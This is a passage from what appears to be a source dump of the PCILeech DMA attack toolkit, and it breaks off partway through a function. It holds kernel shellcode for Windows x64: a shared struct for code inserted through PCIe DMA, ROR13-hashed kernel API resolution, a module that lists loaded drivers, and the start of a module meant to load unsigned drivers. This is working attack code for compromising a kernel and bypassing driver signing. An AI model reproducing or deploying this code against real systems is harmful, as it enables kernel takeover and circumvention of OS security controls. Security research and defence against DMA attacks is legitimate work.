((((ULONG)(Status)) >> 30) == 2)\n#define NT_ERROR(Status) ((((ULONG)(Status)) >> 30) == 3)\n\n/*\n* KMD DATA struct. This struct must be contained in a 4096 byte section (page).\n* This page/struct is used to communicate between the inserted kernel code and\n* the pcileech program.\n* VNR: 003\n*/\ntypedef struct tdKMDDATA {\n\tQWORD MAGIC;\t\t\t\t\t// [0x000] magic number 0x0ff11337711333377.\n\tQWORD AddrKernelBase;\t\t\t// [0x008] pre-filled by stage2, virtual address of kernel header (WINDOWS/MACOS).\n\tQWORD AddrKallsymsLookupName;\t// [0x010] pre-filled by stage2, virtual address of kallsyms_lookup_name (LINUX).\n\tQWORD DMASizeBuffer;\t\t\t// [0x018] size of DMA buffer.\n\tQWORD DMAAddrPhysical;\t\t\t// [0x020] physical address of DMA buffer.\n\tQWORD DMAAddrVirtual;\t\t\t// [0x028] virtual address of DMA buffer.\n\tQWORD _status;\t\t\t\t\t// [0x030] status of operation\n\tQWORD _result;\t\t\t\t\t// [0x038] result of operation TRUE|FALSE\n\tQWORD _address;\t\t\t\t\t// [0x040] address to operate on.\n\tQWORD _size;\t\t\t\t\t// [0x048] size of operation / data in DMA buffer.\n\tQWORD OperatingSystem;\t\t\t// [0x050] operating system type\n\tQWORD ReservedKMD[8];\t\t\t// [0x058] reserved for specific kmd data (dependant on KMD version).\n\tQWORD ReservedFutureUse1[13];\t// [0x098] reserved for future use.\n\tQWORD dataInExtraLength;\t\t// [0x100] length of extra in-data.\n\tQWORD dataInExtraOffset;\t\t// [0x108] offset from DMAAddrPhysical/DMAAddrVirtual.\n\tQWORD dataInExtraLengthMax;\t\t// [0x110] maximum length of extra in-data. \n\tQWORD dataInConsoleBuffer;\t\t// [0x118] physical address of 1-page console buffer.\n\tQWORD dataIn[28];\t\t\t\t// [0x120]\n\tQWORD dataOutExtraLength;\t\t// [0x200] length of extra out-data.\n\tQWORD dataOutExtraOffset;\t\t// [0x208] offset from DMAAddrPhysical/DMAAddrVirtual.\n\tQWORD dataOutExtraLengthMax;\t// [0x210] maximum length of extra out-data. \n\tQWORD dataOutConsoleBuffer;\t\t// [0x218] physical address of 1-page console buffer.\n\tQWORD dataOut[28];\t\t\t\t// [0x220]\n\tPVOID fn[32];\t\t\t\t\t// [0x300] used by shellcode to store function pointers.\n\tCHAR dataInStr[MAX_PATH];\t\t// [0x400] string in-data\n\tCHAR ReservedFutureUse2[252];\n\tCHAR dataOutStr[MAX_PATH];\t\t// [0x600] string out-data\n\tCHAR ReservedFutureUse3[252];\n\tQWORD ReservedFutureUse4[255];\t// [0x800]\n\tQWORD _op;\t\t\t\t\t\t// [0xFF8] (op is last 8 bytes in 4k-page)\n} KMDDATA, *PKMDDATA;\n\n#define EXEC_IO_MAGIC\t\t\t\t\t0x12651232dfef9521\n#define EXEC_IO_CONSOLE_BUFFER_SIZE\t\t0x800\n#define EXEC_IO_DMAOFFSET_IS\t\t\t0x80000\n#define EXEC_IO_DMAOFFSET_OS\t\t\t0x81000\ntypedef struct tdEXEC_IO {\n\tQWORD magic;\n\tstruct {\n\t\tQWORD cbRead;\n\t\tQWORD cbReadAck;\n\t\tQWORD Reserved[10];\n\t\tBYTE  pb[800];\n\t} con;\n\tstruct {\n\t\tQWORD seq;\n\t\tQWORD seqAck;\n\t\tQWORD fCompleted;\n\t\tQWORD fCompletedAck;\n\t} bin;\n\tQWORD Reserved[395];\n} EXEC_IO, *PEXEC_IO;\n\n// system information class 11\ntypedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {\n\tULONG Unknown1;\n\tULONG Unknown2;\n\tULONG Unknown3;\n\tULONG Unknown4;\n\tPVOID Base;\n\tULONG Size;\n\tULONG Flags;\n\tUSHORT Index;\n\tUSHORT NameLength;\n\tUSHORT LoadCount;\n\tUSHORT PathLength;\n\tCHAR ImageName[256];\n} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;\n\ntypedef struct _SYSTEM_MODULE_INFORMATION {\n\tULONG Count;\n\tULONG Unknown1;\n\tSYSTEM_MODULE_INFORMATION_ENTRY Module[1];\n} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;\n\ntypedef struct _UNICODE_STRING {\n\tUSHORT Length;\n\tUSHORT MaximumLength;\n\tPWSTR  Buffer;\n} UNICODE_STRING, *PUNICODE_STRING;\n\ntypedef struct _ANSI_STRING {\n\tUSHORT Length;\n\tUSHORT MaximumLength;\n\tPCHAR  Buffer;\n} ANSI_STRING, *PANSI_STRING;\n\ntypedef struct _IO_STATUS_BLOCK {\n\tunion {\n\t\tNTSTATUS Status;\n\t\tPVOID Pointer;\n\t};\n\tULONG_PTR Information;\n} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;\n\ntypedef struct _OBJECT_ATTRIBUTES {\n\tQWORD Length;\n\tHANDLE RootDirectory;\n\tPUNICODE_STRING ObjectName;\n\tQWORD Attributes;\n\tPVOID SecurityDescriptor;        // Points to type SECURITY_DESCRIPTOR\n\tPVOID SecurityQualityOfService;  // Points to type SECURITY_QUALITY_OF_SERVICE\n} OBJECT_ATTRIBUTES;\ntypedef OBJECT_ATTRIBUTES *POBJECT_ATTRIBUTES;\n\n#define InitializeObjectAttributes( p, n, a, r, s ) { \\\n    (p)->Length = sizeof( OBJECT_ATTRIBUTES );          \\\n    (p)->RootDirectory = r;                             \\\n    (p)->Attributes = a;                                \\\n    (p)->ObjectName = n;                                \\\n    (p)->SecurityDescriptor = s;                        \\\n    (p)->SecurityQualityOfService = NULL;               \\\n    }\n\ntypedef enum _SYSTEM_INFORMATION_CLASS {\n\tSystemProcessInformation = 5, \n\tSystemModuleInformation = 11,\n} SYSTEM_INFORMATION_CLASS, *PSYSTEM_INFORMATION_CLASS;\n\ntypedef CCHAR KPROCESSOR_MODE;\n\ntypedef enum _MODE {\n\tKernelMode,\n\tUserMode,\n\tMaximumMode\n} MODE;\n\ntypedef enum _MEMORY_CACHING_TYPE {\n\tMmNonCached = 0,\n\tMmCached = 1,\n\tMmWriteCombined = 2,\n\tMmHardwareCoherentCached = 3,\n\tMmNonCachedUnordered = 4,\n\tMmUSWCCached = 5,\n\tMmMaximumCacheType = 6\n} MEMORY_CACHING_TYPE;\n\n#undef RtlCopyMemory\n#undef RtlZeroMemory\ntypedef struct tdKERNEL_FUNCTIONS {\n\tint(*_stricmp)(\n\t\tconst char *string1,\n\t\tconst char *string2);\n\tPVOID(*ExAllocatePool)(\n\t\t_In_ QWORD PoolType,\n\t\t_In_ SIZE_T NumberOfBytes);\n\tVOID(*ExFreePool)(\n\t\t_In_ PVOID P);\n\tNTSTATUS(*IoCreateDriver)(\n\t\t_In_opt_ PUNICODE_STRING DriverName,\n\t\t_In_ QWORD  PDriverEntry\n\t\t);\n\tNTSTATUS(*KeDelayExecutionThread)(\n\t\t_In_ KPROCESSOR_MODE WaitMode,\n\t\t_In_ BOOLEAN         Alertable,\n\t\t_In_ PINT64          pllInterval_Neg100ns\n\t\t);\n\tKIRQL(*KeGetCurrentIrql)(\n\t\t);\n\tQWORD(*MmGetPhysicalAddress)(\n\t\t_In_ PVOID BaseAddress\n\t\t);\n\tNTSTATUS(*MmLoadSystemImage)(\n\t\t_In_ PUNICODE_STRING  FileName,\n\t\t_In_opt_ PUNICODE_STRING NamePrefix,\n\t\t_In_opt_ PUNICODE_STRING LoadedName,\n\t\t_In_ ULONG  Flags,\n\t\t_Out_ PVOID *ModuleObject,\n\t\t_Out_ PVOID *ImageBaseAddress\n\t\t);\n\tPVOID(*MmMapIoSpace)(\n\t\t_In_  QWORD  PhysicalAddress,\n\t\t_In_  SIZE_T NumberOfBytes,\n\t\t_In_  MEMORY_CACHING_TYPE CacheType\n\t\t);\n\tNTSTATUS(*MmUnloadSystemImage)(\n\t\t_In_ PVOID *ModuleObject\n\t\t);\n\tVOID(*MmUnmapIoSpace)(\n\t\t_In_  PVOID  BaseAddress,\n\t\t_In_  SIZE_T NumberOfBytes\n\t\t);\n\tNTSTATUS(*RtlAnsiStringToUnicodeString)(\n\t\t_Inout_ PUNICODE_STRING DestinationString,\n\t\t_In_    PANSI_STRING    SourceString,\n\t\t_In_    BOOLEAN         AllocateDestinationString\n\t\t);\n\tVOID(*RtlCopyMemory)(\n\t\t_Out_ VOID UNALIGNED *Destination,\n\t\t_In_ const VOID UNALIGNED *Source,\n\t\t_In_ SIZE_T Length\n\t\t);\n\tVOID(*RtlFreeUnicodeString)(\n\t\t_Inout_ PUNICODE_STRING UnicodeString\n\t\t);\n\tVOID(*RtlInitAnsiString)(\n\t\t_Out_    PANSI_STRING DestinationString,\n\t\t_In_opt_ PCSTR         SourceString\n\t\t);\n\tVOID(*RtlInitUnicodeString)(\n\t\t_Out_ PUNICODE_STRING DestinationString,\n\t\t_In_opt_ PCWSTR SourceString\n\t\t);\n\tVOID(*RtlZeroMemory)(\n\t\t_Out_ VOID UNALIGNED *Destination,\n\t\t_In_ SIZE_T Length\n\t\t);\n\tNTSTATUS(*ZwClose)(\n\t\t_In_ HANDLE hObject\n\t\t);\n\tNTSTATUS(*ZwCreateFile)(\n\t\t_Out_\t PHANDLE\t\t\tFileHandle, \n\t\t_In_\t ACCESS_MASK\t\tDesiredAccess, \n\t\t_In_\t PVOID\t\t\t\tObjectAttributes, \n\t\t_Out_\t PIO_STATUS_BLOCK\tIoStatusBlock, \n\t\t_In_opt_ PLARGE_INTEGER\t\tAllocationSize, \n\t\t_In_\t ULONG\t\t\t\tFileAttributes, \n\t\t_In_\t ULONG\t\t\t\tShareAccess, \n\t\t_In_\t ULONG\t\t\t\tCreateDisposition,\n\t\t_In_\t ULONG\t\t\t\tCreateOptions, \n\t\t_In_reads_bytes_opt_(EaLength) PVOID EaBuffer, \n\t\t_In_\t ULONG\t\t\t\tEaLength\n\t\t);\n\tNTSTATUS(*ZwOpenFile)(\n\t\t_Out_\t PHANDLE            FileHandle,\n\t\t_In_\t ACCESS_MASK        DesiredAccess,\n\t\t_In_\t POBJECT_ATTRIBUTES ObjectAttributes,\n\t\t_Out_\t PIO_STATUS_BLOCK   IoStatusBlock,\n\t\t_In_\t ULONG              ShareAccess,\n\t\t_In_\t ULONG              OpenOptions\n\t\t);\n\tNTSTATUS(*ZwQueryDirectoryFile)(\n\t\t_In_\t HANDLE\t\t\t\tFileHandle,\n\t\t_In_opt_ HANDLE\t\t\t\tEvent,\n\t\t_In_opt_ PVOID\t\t\t\tApcRoutine,\n\t\t_In_opt_ PVOID\t\t\t\tApcContext,\n\t\t_Out_\t PIO_STATUS_BLOCK\tIoStatusBlock,\n\t\t_Out_\t PVOID\t\t\t\tFileInformation,\n\t\t_In_\t ULONG\t\t\t\tLength,\n\t\t_In_\t QWORD\t\t\t\tFileInformationClass,\n\t\t_In_\t BOOLEAN\t\t\tReturnSingleEntry,\n\t\t_In_opt_ PUNICODE_STRING\tFileName,\n\t\t_In_\t BOOLEAN\t\t\tRestartScan\n\t);\n\tNTSTATUS(*ZwQuerySystemInformation)(\n\t\t_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,\n\t\t_Inout_ PVOID SystemInformation,\n\t\t_In_ ULONG SystemInformationLength,\n\t\t_Out_opt_ PULONG ReturnLength);\n\tNTSTATUS(*ZwSetSystemInformation)(\n\t\t_In_ QWORD SystemInformationClass,\n\t\t_In_ PVOID SystemInformation,\n\t\t_In_ ULONG SystemInformationLength\n\t\t);\n\tNTSTATUS(*ZwReadFile)(\n\t\t_In_     HANDLE           FileHandle,\n\t\t_In_opt_ HANDLE           Event,\n\t\t_In_opt_ PVOID\t\t\t  ApcRoutine,\n\t\t_In_opt_ PVOID            ApcContext,\n\t\t_Out_    PIO_STATUS_BLOCK IoStatusBlock,\n\t\t_Out_    PVOID            Buffer,\n\t\t_In_     ULONG            Length,\n\t\t_In_opt_ PQWORD           ByteOffset,\n\t\t_In_opt_ PULONG           Key\n\t\t);\n\tNTSTATUS(*ZwWriteFile)(\n\t\t_In_ HANDLE FileHandle, \n\t\t_In_opt_ HANDLE Event,\n\t\t_In_opt_ PVOID ApcRoutine,\n\t\t_In_opt_ PVOID ApcContext,\n\t\t_Out_ PVOID IoStatusBlock, \n\t\t_In_reads_bytes_(Length) PVOID Buffer,\n\t\t_In_ ULONG Length, \n\t\t_In_opt_ PLARGE_INTEGER ByteOffset, \n\t\t_In_opt_ PULONG Key\n\t\t);\n\tPVOID pvStart;\n} KERNEL_FUNCTIONS, *PKERNEL_FUNCTIONS;\n\n// ----------------------------- ROR13 HASHES BELOW -----------------------------\n\n#define H__stricmp\t\t\t\t\t\t\t\t0xd73b454a\n#define H_strnlen\t\t\t\t\t\t\t\t0xe0fb3ba8\n#define H_wcscat\t\t\t\t\t\t\t\t0x690e4970\n#define H_CiInitialize\t\t\t\t\t\t\t0x0c2e8015\n#define H_ExAllocatePool\t\t\t\t\t\t0x3707e062\n#define H_ExFreePool\t\t\t\t\t\t\t0x9d489d1f\n#define H_IoAllocateMdl\t\t\t\t\t\t\t0xfb94c65d\n#define H_IoCreateDriver\t\t\t\t\t\t0xdccc7ba1\n#define H_KeDelayExecutionThread\t\t\t\t0x58586d92\n#define H_KeGetCurrentIrql\t\t\t\t\t\t0x4d90adce\n#define H_KeInitializeApc\t\t\t\t\t\t0x2b988da3\n#define H_KeInsertQueueApc\t\t\t\t\t\t0x88c695f9\n#define H_KeStackAttachProcess\t\t\t\t\t0x9e0047be\n#define H_KeUnstackDetachProcess\t\t\t\t0xf047dcf4\n#define H_MmAllocateContiguousMemory\t\t\t0x9f361ebc\n#define H_MmFreeContiguousMemory\t\t\t\t0x1345f592\n#define H_MmGetPhysicalAddress\t\t\t\t\t0x5a326357\n#define H_MmGetPhysicalMemoryRanges\t\t\t\t0x4977a56f\n#define H_MmLoadSystemImage\t\t\t\t\t\t0x6a6ab58f\n#define H_MmMapIoSpace\t\t\t\t\t\t\t0x05ddbef9\n#define H_MmMapLockedPagesSpecifyCache\t\t\t0xbceb1dcd\n#define H_MmProbeAndLockPages\t\t\t\t\t0x97d00e2b\n#define H_MmUnloadSystemImage\t\t\t\t\t0x9db338f7\n#define H_MmUnmapIoSpace\t\t\t\t\t\t0x6c6ec5c9\n#define H_ObDereferenceObject\t\t\t\t\t0x2e053fd6\n#define H_PsCreateSystemThread\t\t\t\t\t0x94a06b02\n#define H_PsGetProcessImageFileName\t\t\t\t0x8be7eeec\n#define H_PsLookupProcessByProcessId\t\t\t0xa3a0b82a\n#define H_PsLookupThreadByThreadId\t\t\t\t0x0e0b0e0d\n#define H_RtlAnsiStringToUnicodeString\t\t\t0xeb6c8389\n#define H_RtlCompareMemory\t\t\t\t\t\t0x770dcef6\n#define H_RtlCopyMemory\t\t\t\t\t\t\t0xcf64979b\n#define H_RtlCreateUserThread\t\t\t\t\t0x442f2041\n#define H_RtlFreeUnicodeString\t\t\t\t\t0xa8b2c02a\n#define H_RtlInitAnsiString\t\t\t\t\t\t0x7cc3283d\n#define H_RtlInitUnicodeString\t\t\t\t\t0x3035d02a\n#define H_RtlZeroMemory\t\t\t\t\t\t\t0xc53d4fdb\n#define H_ZwAllocateVirtualMemory\t\t\t\t0xd33d4aed\n#define H_ZwClose\t\t\t\t\t\t\t\t0x5d044c61\n#define H_ZwCreateFile\t\t\t\t\t\t\t0xc3a08f9d\n#define H_ZwCreateKey\t\t\t\t\t\t\t0x11c719c1\n#define H_ZwDeleteFile\t\t\t\t\t\t\t0xb6b0987d\n#define H_ZwLoadDriver\t\t\t\t\t\t\t0x0675aa53\n#define H_ZwOpenFile\t\t\t\t\t\t\t0x8829d4b8\n#define H_ZwOpenProcess\t\t\t\t\t\t\t0xf0d09d60\n#define H_ZwReadFile\t\t\t\t\t\t\t0x87fd3516\n#define H_ZwQueryDirectoryFile\t\t\t\t\t0x6fb06450\n#define H_ZwQueryInformationFile\t\t\t\t0xd7cd4118\n#define H_ZwQuerySystemInformation\t\t\t\t0xe661cae2\n#define H_ZwSetSystemInformation\t\t\t\t0xf7e624de\n#define H_ZwSetValueKey\t\t\t\t\t\t\t0x03a49be5\n#define H_ZwUnloadDriver\t\t\t\t\t\t0xf36cb1c0\n#define H_ZwWriteFile\t\t\t\t\t\t\t0x680e3136\n\n// ----------------------------- FUNCTION DECLARATIONS BELOW -----------------------------\n\nDWORD HashROR13A(_In_ LPCSTR sz);\nQWORD PEGetProcAddressH(_In_ QWORD hModule, _In_ DWORD dwProcNameH);\nQWORD KernelGetModuleBase(_In_ PKERNEL_FUNCTIONS fnk, _In_ LPSTR szModuleName);\nVOID InitializeKernelFunctions(_In_ QWORD qwNtosBase, _Out_ PKERNEL_FUNCTIONS fnk);\nDWORD PEGetImageSize(_In_ QWORD hModule);\nVOID CommonSleep(_In_ PKERNEL_FUNCTIONS fnk, _In_ DWORD ms);\nextern QWORD GetCR3();\nextern VOID CacheFlush();\n\n/*\n* If a large output is to be written to PCILeech which won't fit in the DMA\n* buffer - write as much as possible in the DMA buffer and then call this fn.\n* When returned successfully write another chunk to this buffer and call again.\n* WriteLargeOutput_Finish must be called after all data is written to clean up.\n* -- fnk\n* -- pk\n* -- return\n*/\nBOOL WriteLargeOutput_WaitNext(_In_ PKERNEL_FUNCTIONS fnk, PKMDDATA pk);\n\n/*\n* Clean up function that must be called if WriteLargeOutput_WaitNext has\n* previously been called.\n* -- fnk\n* -- pk\n*/\nVOID WriteLargeOutput_Finish(_In_ PKERNEL_FUNCTIONS fnk, PKMDDATA pk);\n\n#endif /* __WX64_COMMON_H__ */"
  },
  {
    "path": "pcileech_shellcode/wx64_common_a.asm",
    "content": "; wx64_common_a.asm : assembly to receive execution from stage3 exec command.\n; Compatible with Windowx 64.\n;\n; (c) Ulf Frisk, 2016\n; Author: Ulf Frisk, pcileech@frizk.net\n;\n\n; -------------------------------------\n; Prototypes\n; -------------------------------------\nmain PROTO\nEXTRN c_EntryPoint:NEAR\n\n; -------------------------------------\n; Code\n; -------------------------------------\n.CODE\n\nmain PROC\n\tPUSH rsi\n\tMOV rsi, rsp\n\tAND rsp, 0FFFFFFFFFFFFFFF0h\n\tSUB rsp, 020h\n\tCALL c_EntryPoint\n\tMOV rsp, rsi\n\tPOP rsi\n\tRET\nmain ENDP\n\nGetCR3 PROC\n\tMOV rax, cr3\n\tRET\nGetCR3 ENDP\n\n; ----------------------------------------------------\n; Flush the CPU cache.\n; ----------------------------------------------------\nCacheFlush PROC\n\tWBINVD\n\tRET\nCacheFlush ENDP\n\nEND\n"
  },
  {
    "path": "pcileech_shellcode/wx64_driverinfo.c",
    "content": "// wx64_driverinfo.c : kernel code to list loaded drivers\n// Compatible with Windows x64.\n//\n// (c) Ulf Frisk, 2016\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n// compile with:\n// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel wx64_common.c\n// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel wx64_driverinfo.c\n// ml64 wx64_common_a.asm /Fewx64_driverinfo.exe /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main wx64_driverinfo.obj wx64_common.obj\n// shellcode64.exe -o wx64_driverinfo.exe \"LOADED KERNEL MODULES AND INFORMATION                          \\n===============================================================\\nDEFAULT: listing of all kernel modules                         \\n   Default listing is as follows:                              \\n   BYTES      DATA                                             \\n   0x00-17    module name                                      \\n   0x18-1d    ----->                                           \\n   0xe1-1f    module index                                     \\nDETAILS: show detailed module information                      \\n   Use -s <module_name> OR -0 0x<module_index> to show         \\n   details for specific module.                                \\n===== MODULE DETAILED INFORMATION =============================\\nMODULE NAME   : %s                                             \\nBASE ADDR VIRT: 0x%016llX                                      \\nBASE ADDR PHYS: 0x%016llX                                      \\nSIZE          : 0x%08X                                         \\nFLAGS         : 0x%08X                                         \\nLOAD COUNT    : 0x%04X                                         \\nINDEX         : 0x%04X                                         \\n===============================================================\\nIN TOTAL %i ENTRIES EXISTS, SEE BELOW FOR MORE INFORMATION     \\n(information not shown when module details are shown)\\n\"\n//\n#include \"wx64_common.h\"\n\nVOID ActionDefault(_In_ PKMDDATA pk, _In_ PKERNEL_FUNCTIONS fnk)\n{\n\tPBYTE pbSystemInfoBuffer;\n\tSIZE_T cbSystemInfoBuffer = 0;\n\tPSYSTEM_MODULE_INFORMATION_ENTRY pSME;\n\tQWORD b, i, j, qwAddrOut;\n\tfnk->ZwQuerySystemInformation(11, NULL, 0, (PULONG)&cbSystemInfoBuffer);\n\tif(!cbSystemInfoBuffer) { return; }\n\tpbSystemInfoBuffer = (PBYTE)fnk->ExAllocatePool(0, cbSystemInfoBuffer);\n\tif(!pbSystemInfoBuffer) { return; }\n\tif(0 == fnk->ZwQuerySystemInformation(SystemModuleInformation, pbSystemInfoBuffer, (ULONG)cbSystemInfoBuffer, (PULONG)&cbSystemInfoBuffer)) {\n\t\tpk->dataOut[6] = ((PSYSTEM_MODULE_INFORMATION)(pbSystemInfoBuffer))->Count;\n\t\tpSME = ((PSYSTEM_MODULE_INFORMATION)(pbSystemInfoBuffer))->Module;\n\t\tqwAddrOut = pk->DMAAddrVirtual + pk->dataOutExtraOffset + pk->dataOutExtraLength;\n\t\tfor(i = 0; i < ((PSYSTEM_MODULE_INFORMATION)(pbSystemInfoBuffer))->Count; i++) {\n\t\t\tqwAddrOut = pk->DMAAddrVirtual + pk->dataOutExtraOffset + pk->dataOutExtraLength;\n\t\t\tpk->dataOutExtraLength += 0x20;\n\t\t\tb = 1;\n\t\t\tfor(j = 0; j < 24; j++) {\n\t\t\t\tif(b) {\n\t\t\t\t\tb = *(PBYTE)(qwAddrOut + j) = pSME[i].ImageName[pSME[i].PathLength + j];\n\t\t\t\t} else {\n\t\t\t\t\t*(PBYTE)(qwAddrOut + j) = 0;\n\t\t\t\t}\n\t\t\t}\n\t\t\t*(PQWORD)(qwAddrOut + 0x18) = 0x00003e2d2d2d2d2d;\n\t\t\t*(PBYTE)(qwAddrOut + 0x1E) = pSME[i].Index >> 8;\n\t\t\t*(PBYTE)(qwAddrOut + 0x1F) = pSME[i].Index & 0xff;\n\t\t}\n\t}\n\tif(pbSystemInfoBuffer) { fnk->ExFreePool(pbSystemInfoBuffer); }\n}\n\nVOID ActionDetails(_In_ PKMDDATA pk, _In_ PKERNEL_FUNCTIONS fnk)\n{\n\tPBYTE pbSystemInfoBuffer;\n\tSIZE_T cbSystemInfoBuffer = 0;\n\tPSYSTEM_MODULE_INFORMATION_ENTRY pSME;\n\tQWORD i;\n\tfnk->ZwQuerySystemInformation(11, NULL, 0, (PULONG)&cbSystemInfoBuffer);\n\tif(!cbSystemInfoBuffer) { return; }\n\tpbSystemInfoBuffer = (PBYTE)fnk->ExAllocatePool(0, cbSystemInfoBuffer);\n\tif(!pbSystemInfoBuffer) { return; }\n\tif(0 == fnk->ZwQuerySystemInformation(SystemModuleInformation, pbSystemInfoBuffer, (ULONG)cbSystemInfoBuffer, (PULONG)&cbSystemInfoBuffer)) {\n\t\tpSME = ((PSYSTEM_MODULE_INFORMATION)(pbSystemInfoBuffer))->Module;\n\t\tfor(i = 0; i < ((PSYSTEM_MODULE_INFORMATION)(pbSystemInfoBuffer))->Count; i++) {\n\t\t\tif(0 == fnk->_stricmp(pk->dataInStr, pSME[i].ImageName + pSME[i].PathLength) ||\n\t\t\t\t(!pk->dataInStr[0] && pSME[i].Index == pk->dataIn[0])) {\n\t\t\t\t// image name\n\t\t\t\tfnk->RtlCopyMemory(pk->dataOutStr, pSME[i].ImageName + pSME[i].PathLength, MAX_PATH - pSME[i].PathLength);\n\t\t\t\tpk->dataOut[0] = pSME[i].Base;\n\t\t\t\tpk->dataOut[1] = fnk->MmGetPhysicalAddress(pSME[i].Base);\n\t\t\t\tpk->dataOut[2] = pSME[i].Size;\n\t\t\t\tpk->dataOut[3] = pSME[i].Flags;\n\t\t\t\tpk->dataOut[4] = pSME[i].LoadCount;\n\t\t\t\tpk->dataOut[5] = pSME[i].Index;\n\t\t\t\tgoto cleanup;\n\t\t\t}\n\t\t}\n\t}\ncleanup:\n\tif(pbSystemInfoBuffer) { fnk->ExFreePool(pbSystemInfoBuffer); }\n}\n\nVOID c_EntryPoint(_In_ PKMDDATA pk)\n{\n\tKERNEL_FUNCTIONS fnk;\n\tInitializeKernelFunctions(pk->AddrKernelBase, &fnk);\n\tActionDetails(pk, &fnk);\n\tif(!pk->dataIn[0] && !pk->dataInStr[0]) {\n\t\tActionDefault(pk, &fnk);\n\t}\n}"
  },
  {
    "path": "pcileech_shellcode/wx64_driverload_svc.c",
    "content": "// wx64_driverload_svc.c : kernel code to load both unsigned and signed drivers.\n//\n// (c) Ulf Frisk, 2016\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n// compile with:\n// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel wx64_common.c\n// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel wx64_driverload_svc.c\n// ml64 wx64_common_a.asm /Fewx64_driverload_svc.exe /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main wx64_driverload_svc.obj wx64_common.obj\n// shellcode64 -o wx64_driverload_svc.exe \"KERNEL MODULE LOADER - LOAD UNSIGNED DRIVERS BY SERVICE NAME!        \\n=====================================================================\\nLoads unsigned or signed drivers by registry service or filename.    \\nNOTE! If a filename is specified a registry service will be created  \\nfor the filename prior to loading the driver. The OS may pop up a    \\nbox telling the logged on user about not being able to load an       \\nunsigned driver. The registry service key will disappear on reboot.  \\nREQUIRED OPTIONS:                                                    \\n  -s : service or file name.                                         \\n       Example:                                                      \\n       \"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\mydriver\"\\n\t   \"\\??\\c:\\Temp\\mydriver.sys\"                                    \\n===== DRIVER LOAD STATUS (RESULT) ===================================\\nSERVICE ENTRY : %s\\nLOAD NTSTATUS : 0x%08X                                               \\n=====================================================================\\n\"\n//  \n#include \"wx64_common.h\"\n\n//----------------------------------------------------------------------------------------------------------\n\n#define OBJ_CASE_INSENSITIVE    \t\t\t\t0x00000040\n#define FILE_SYNCHRONOUS_IO_NONALERT\t\t\t0x00000020\n#define FILE_OPEN\t\t\t\t\t\t\t\t0x00000001\n#define OBJ_KERNEL_HANDLE       \t\t\t\t0x00000200\n\ntypedef struct tdKERNEL_FUNCTIONS2 {\n\twchar_t*(*wcscat)(\n\t\twchar_t *strDestination,\n\t\tconst wchar_t *strSource\n\t\t);\n\tNTSTATUS(*ZwCreateKey)(\n\t\t_Out_      PHANDLE            KeyHandle,\n\t\t_In_       ACCESS_MASK        DesiredAccess,\n\t\t_In_       POBJECT_ATTRIBUTES ObjectAttributes,\n\t\t_Reserved_ ULONG              TitleIndex,\n\t\t_In_opt_   PUNICODE_STRING    Class,\n\t\t_In_       ULONG              CreateOptions,\n\t\t_Out_opt_  PULONG             Disposition\n\t\t);\n\tNTSTATUS(*ZwLoadDriver)(\n\t\t_In_ PUNICODE_STRING DriverServiceName\n\t\t);\n\tNTSTATUS(*ZwSetValueKey)(\n\t\t_In_     HANDLE          KeyHandle,\n\t\t_In_     PUNICODE_STRING ValueName,\n\t\t_In_opt_ ULONG           TitleIndex,\n\t\t_In_     ULONG           Type,\n\t\t_In_opt_ PVOID           Data,\n\t\t_In_     ULONG           DataSize\n\t\t);\n} KERNEL_FUNCTIONS2, *PKERNEL_FUNCTIONS2;\n\nVOID InitializeKernelFunctions2(_In_ QWORD qwNtosBase, _Out_ PKERNEL_FUNCTIONS2 fnk2)\n{\n\tQWORD FUNC2[][2] = {\n\t\t{ &fnk2->wcscat,\t\t\t\t\t\t\tH_wcscat },\n\t\t{ &fnk2->ZwCreateKey,\t\t\t\t\t\tH_ZwCreateKey },\n\t\t{ &fnk2->ZwLoadDriver,\t\t\t\t\t\tH_ZwLoadDriver },\n\t\t{ &fnk2->ZwSetValueKey,\t\t\t\t\t\tH_ZwSetValueKey },\n\t};\n\tfor(QWORD j = 0; j < (sizeof(FUNC2) / sizeof(QWORD[2])); j++) {\n\t\t*(PQWORD)FUNC2[j][0] = PEGetProcAddressH(qwNtosBase, (DWORD)FUNC2[j][1]);\n\t}\n}\n\n//----------------------------------------------------------------------------------------------------------\n\n/*\n* Check if the file exists - if so return a PUNICODE_STRING containing the file name.\n* NB! the pusImagePath parameter must be free'd by RtlFreeUnicodeString by caller upon success.\n*/\nNTSTATUS DriverRegGetImagePath(_In_ PKMDDATA pk, _In_ PKERNEL_FUNCTIONS fnk, _In_ PKERNEL_FUNCTIONS2 fnk2, _Out_ PUNICODE_STRING pusImagePath)\n{\n\tNTSTATUS nt;\n\tHANDLE hFile = NULL;\n\tIO_STATUS_BLOCK _io;\n\tOBJECT_ATTRIBUTES _oa;\n\tANSI_STRING _sa;\n\tUNREFERENCED_PARAMETER(fnk2);\n\t// check if file exists\n\tfnk->RtlInitAnsiString(&_sa, pk->dataInStr);\n\tfnk->RtlCopyMemory(pk->dataOutStr, pk->dataInStr, 260);\n\tfnk->RtlAnsiStringToUnicodeString(pusImagePath, &_sa, TRUE);\n\tfnk->RtlZeroMemory(&_oa, sizeof(OBJECT_ATTRIBUTES));\n\tfnk->RtlZeroMemory(&_io, sizeof(IO_STATUS_BLOCK));\n\tInitializeObjectAttributes(&_oa, pusImagePath, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);\n\tnt = fnk->ZwCreateFile(&hFile, GENERIC_READ, &_oa, &_io, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0);\n\tif(hFile) 